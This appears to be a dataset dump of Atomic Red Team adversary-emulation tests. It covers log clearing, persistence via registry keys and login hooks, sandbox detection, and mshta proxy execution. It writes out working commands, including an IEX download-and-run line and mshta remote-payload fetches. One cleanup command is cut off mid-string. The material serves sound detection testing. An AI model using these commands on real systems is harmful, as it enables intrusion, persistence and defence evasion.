deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1685.005: Disable or Modify Tools: Clear Windows Event Logs
Test: Clear Event Logs via VBA
Platforms: windows
Executor: powershell

Description:
This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system. 

Elevation is required for this module to execute properly, otherwise WINWORD will throw an "Access Denied" error


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1685.005\src\T1685.005-macrocode.txt" -officeProduct "Word" -sub "ClearLogs"


Dependencies:
Microsoft Word must be installed
# T1592.001 - Gather Victim Host Information: Hardware

## Description from ATT&CK

> Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).
> 
> Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

[Source](https://attack.mitre.org/techniques/T1592/001)

## Atomic Tests

- [Atomic Test #1: Enumerate PlugNPlay Camera](#atomic-test-1-enumerate-plugnplay-camera)

### Atomic Test #1: Enumerate PlugNPlay Camera

Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor

**Supported Platforms:** Windows

**auto_generated_guid:** `d430bf85-b656-40e7-b238-42db01df0183`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Get-CimInstance -Query "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')"
```
Atomic Red Team — T1592.001: Gather Victim Host Information: Hardware
Test: Enumerate PlugNPlay Camera
Platforms: windows
Executor: powershell

Description:
Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor


Command:
Get-CimInstance -Query "SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')"
# T1037.002 - Boot or Logon Initialization Scripts: Logon Script (Mac)

## Description from ATT&CK

> Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)
> 
> Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)
> 
> **Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)

[Source](https://attack.mitre.org/techniques/T1037/002)

## Atomic Tests

- [Atomic Test #1: Logon Scripts - Mac](#atomic-test-1-logon-scripts---mac)

### Atomic Test #1: Logon Scripts - Mac

Mac logon script

**Supported Platforms:** macOS

**auto_generated_guid:** `f047c7de-a2d9-406e-a62b-12a09d9516f4`

#### Attack Commands: Run it with these steps! 
1. Create the required plist file

    sudo touch /private/var/root/Library/Preferences/com.apple.loginwindow.plist

2. Populate the plist with the location of your shell script

    sudo defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh

3. Create the required plist file in the target user's Preferences directory

	  touch /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

4. Populate the plist with the location of your shell script

	  defaults write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh
Atomic Red Team — T1037.002: Boot or Logon Initialization Scripts: Logon Script (Mac)
Test: Logon Scripts - Mac
Platforms: macos
Executor: manual

Description:
Mac logon script
# T1547.010 - Boot or Logon Autostart Execution: Port Monitors

## Description from ATT&CK

> Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham)
> 
> Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. The Registry key contains entries for the following:
> 
> * Local Port
> * Standard TCP/IP Port
> * USB Monitor
> * WSD Port

[Source](https://attack.mitre.org/techniques/T1547/010)

## Atomic Tests

- [Atomic Test #1: Add Port Monitor persistence in Registry](#atomic-test-1-add-port-monitor-persistence-in-registry)

### Atomic Test #1: Add Port Monitor persistence in Registry

Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.

**Supported Platforms:** Windows

**auto_generated_guid:** `d34ef297-f178-4462-871e-9ce618d44e50`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| monitor_dll | Addition to port monitor registry key. Normally refers to a DLL name in C:&#92;Windows&#92;System32 but an arbitrary DLL can be specified with the absolute path. | path | $PathToAtomicsFolder&#92;T1547.010&#92;bin&#92;PortMonitor.dll|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f
```

#### Cleanup Commands

```cmd
reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /f >nul 2>&1
```
Atomic Red Team — T1547.010: Boot or Logon Autostart Execution: Port Monitors
Test: Add Port Monitor persistence in Registry
Platforms: windows
Executor: command_prompt

Description:
Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.

Command:
reg add "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /v "Driver" /d "#{monitor_dll}" /t REG_SZ /f


Cleanup:
reg delete "hklm\system\currentcontrolset\control\print\monitors\AtomicRedTeam" /f >nul 2>&1
Atomic Red Team — T1547.003: Time Providers
Test: Create a new time provider
Platforms: windows
Executor: powershell

Description:
Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/


Command:
net stop w32time
Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f
net start w32time


Cleanup:
net stop w32time
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /f
rm -force C:\Users\Public\AtomicTest.dll
net start w32time
Atomic Red Team — T1547.003: Time Providers
Test: Edit an existing time provider
Platforms: windows
Executor: powershell

Description:
Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
in C:\Users\Public\ as validation that the test is successful.

Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/


Command:
net stop w32time
Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f
net start w32time


Cleanup:
net stop w32time
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Windows\SYSTEM32\w32time.DLL" /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "
Atomic Red Team — T1546.010: Event Triggered Execution: AppInit DLLs
Test: Install AppInit Shim
Platforms: windows
Executor: command_prompt

Description:
AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs to be loaded into each user mode process on the system. Upon succesfully execution, 
you will see the message "The operation completed successfully." Each time the DLL is loaded, you will see a message box with a message of "Install AppInit Shim DLL was called!" appear.
This will happen regularly as your computer starts up various applications and may in fact drive you crazy. A reliable way to make the message box appear and verify the 
AppInit Dlls are loading is to start the notepad application. Be sure to run the cleanup commands afterwards so you don't keep getting message boxes showing up.

Note: If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls


Command:
reg.exe import "#{registry_file}"


Cleanup:
reg.exe import "#{registry_cleanup_file}" >nul 2>&1


Dependencies:
Reg files must exist on disk at specified locations (#{registry_file} and #{registry_cleanup_file})

DLL's must exist in the C:\Tools directory (T1546.010.dll and T1546.010x86.dll)
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment (Linux)
Platforms: linux
Executor: sh

Description:
systemd-detect-virt detects execution in a virtualized environment.
At boot, dmesg stores a log if a hypervisor is detected.


Command:
if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi;
if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi;
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment (FreeBSD)
Platforms: linux
Executor: sh

Description:
Detects execution in a virtualized environment.
At boot, dmesg stores a log if a hypervisor is detected.


Command:
if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment (Windows)
Platforms: windows
Executor: powershell

Description:
Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine


Command:
$error.clear()
Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue
if($error) {echo "Virtualization Environment detected"}


Cleanup:
$error.clear()
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment via ioreg
Platforms: macos
Executor: sh

Description:
ioreg contains registry entries for all the device drivers in the system. If it's a virtual machine, one of the device manufacturer will be a Virtualization Software.


Command:
if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)
Platforms: windows
Executor: powershell

Description:
Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. 


Command:
$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer"
$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model"
if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment using sysctl (hw.model)
Platforms: macos
Executor: sh

Description:
sysctl hw.model will return the model name of the hardware(Macmini8,1, MacBookAir10,1, etc.) in case of native Apple hardware
but will return the hypervisor name (VMware7,0).
Reference: https://evasions.checkpoint.com/src/MacOS/macos.html#hardware-model


Command:
if [ "$(sysctl -n hw.model | grep -v 'Mac')" != "" ]; then echo 'Virtualization Environment detected'; fi;
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Check if System Integrity Protection is enabled
Platforms: macos
Executor: sh

Description:
The latest versions of macOS have the System Integrity Protection feature (SIP). If a sandbox uses a non-signed 
kernel extension for monitoring purposes the, SIP feature must be disabled to load this kind of kernel extension.
Malware may check if the SIP is enabled.
Reference: https://evasions.checkpoint.com/src/MacOS/macos.html#sip


Command:
if [ "$(csrutil status | grep -v 'enabled')" != "" ]; then echo 'Possible Virtualization Environment detected'; fi;
Atomic Red Team — T1497.001: Virtualization/Sandbox Evasion: System Checks
Test: Detect Virtualization Environment using system_profiler
Platforms: macos
Executor: sh

Description:
system_profiler provides system hardware and software configuration and the Model Identifier should provide the value similar to (sysctl -n hw.model). 
We should be able to find whether virtualization is enabled by checking whether the Model Identifier does not contain "Mac".


Command:
if [ "$(system_profiler SPHardwareDataType | grep "Model Identifier" | grep -v 'Mac')" != "" ]; then echo 'Virtualization Environment detected'; fi;
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
Platforms: windows
Executor: command_prompt

Description:
Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.


Command:
mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Mshta executes VBScript to execute malicious command
Platforms: windows
Executor: command_prompt

Description:
Run a local VB script to run local user enumeration powershell command.
This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
Upon execution, a new PowerShell windows will be opened that displays user information.


Command:
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Mshta Executes Remote HTML Application (HTA)
Platforms: windows
Executor: powershell

Description:
Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.


Command:
$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"
start-sleep -s 15
stop-process -name "calculator" -Force -ErrorAction Ignore
stop-process -name "CalculatorApp" -Force -ErrorAction Ignore


Cleanup:
remove-item "#{temp_file}" -ErrorAction Ignore
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement
Platforms: windows
Executor: powershell

Description:
Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.

Command:
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Invoke HTML Application - Jscript Engine Simulating Double Click
Platforms: windows
Executor: powershell

Description:
Executes an HTA Application using JScript script engine simulating double click.

Command:
Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Invoke HTML Application - Direct download from URI
Platforms: windows
Executor: powershell

Description:
Executes an HTA Application by directly downloading from remote URI.

Command:
Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler
Platforms: windows
Executor: powershell

Description:
Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.

Command:
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Invoke HTML Application - JScript Engine with Inline Protocol Handler
Platforms: windows
Executor: powershell

Description:
Executes an HTA Application with JScript Engine and Inline Protocol Handler.

Command:
Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Invoke HTML Application - Simulate Lateral Movement over UNC Path
Platforms: windows
Executor: powershell

Description:
Executes an HTA Application with Simulate lateral movement over UNC Path.

Command:
Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}

Dependencies:
The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Atomic Red Team — T1218.005: Signed Binary Proxy Execution: Mshta
Test: Mshta used to Execute PowerShell
Platforms: windows
Executor: command_prompt

Description:
Use Mshta to execute arbitrary PowerShell. Example is from the 2021 Threat Detection Report by Red Canary.


Command:
mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>'"
Atomic Red Team — T1546.002: Event Triggered Execution: Screensaver
Test: Set Arbitrary Binary as Screensaver
Platforms: windows
Executor: command_prompt

Description:
This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.


Command:
reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
if #{reboot} NEQ 0 shutdown /r /t 0


Cleanup:
reg import %userprofile%\backup.reg
del %userprofile%\backup.reg
del %SystemRoot%\System32\evilscreensaver.scr